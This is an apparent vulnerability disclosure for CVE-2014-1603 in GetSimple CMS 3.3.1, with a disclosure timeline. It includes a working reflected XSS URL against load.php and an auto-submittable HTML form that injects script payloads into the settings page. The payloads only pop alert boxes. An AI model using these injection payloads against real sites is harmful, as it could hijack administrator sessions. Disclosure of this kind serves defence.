[CVE-2014-1603] XSS in GetSimple CMS 3.3.1 PoC

Found some persistent and reflected cross site scripting in the Admin
console of GetSimple CMS 3.3.1 and below.
Waited 6 months for a fix but the developer stopped answering my
emails, so decided to release this anyway.

PoC for XSS bugs in the admin console of GetSimple CMS 3.3.1
CVE-2014-1603
by Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security

Timeline:
04/11/2013 - Found bugs, produced proof of concept.
05/11/2013 - Communicated to the developer, which acknowledged receipt.
10/01/2014 - Politely asked the developer for progress, no response.
17/01/2014 - Received CVE number from MITRE.
20/01/2014 - Communicated CVE number to the developer, no response.
29/01/2014 - Politely asked the developer for progress, no response.
12/05/2014 - Public release.
==============================

Reflected XSS in plugin load page:
http://192.168.56.101/getsimple/admin/load.php?id=anonymous_data&param="><script>alert(1)</script>

Persistent XSS in settings page:
<form name="input" action="http://192.168.56.101/getsimple/admin/settings.php" method="post">
<input type="text" name="user" value="&quot;&gt;&lt;script&gt;alert(1);&lt;/script&gt;">
<input type="text" name="email" value="&quot;&gt;&lt;script&gt;alert(2);&lt;/script&gt;">
<input type="text" name="name" value="&quot;&gt;&lt;script&gt;alert(3);&lt;/script&gt;">
<input type="hidden" name="submitted" value="Save Settings">
<input type="submit" value="Submit">
</form>


source link: ttps://raw.githubusercontent.com/pedrib/PoC/master/getsimplecms-3.3.1.txt.



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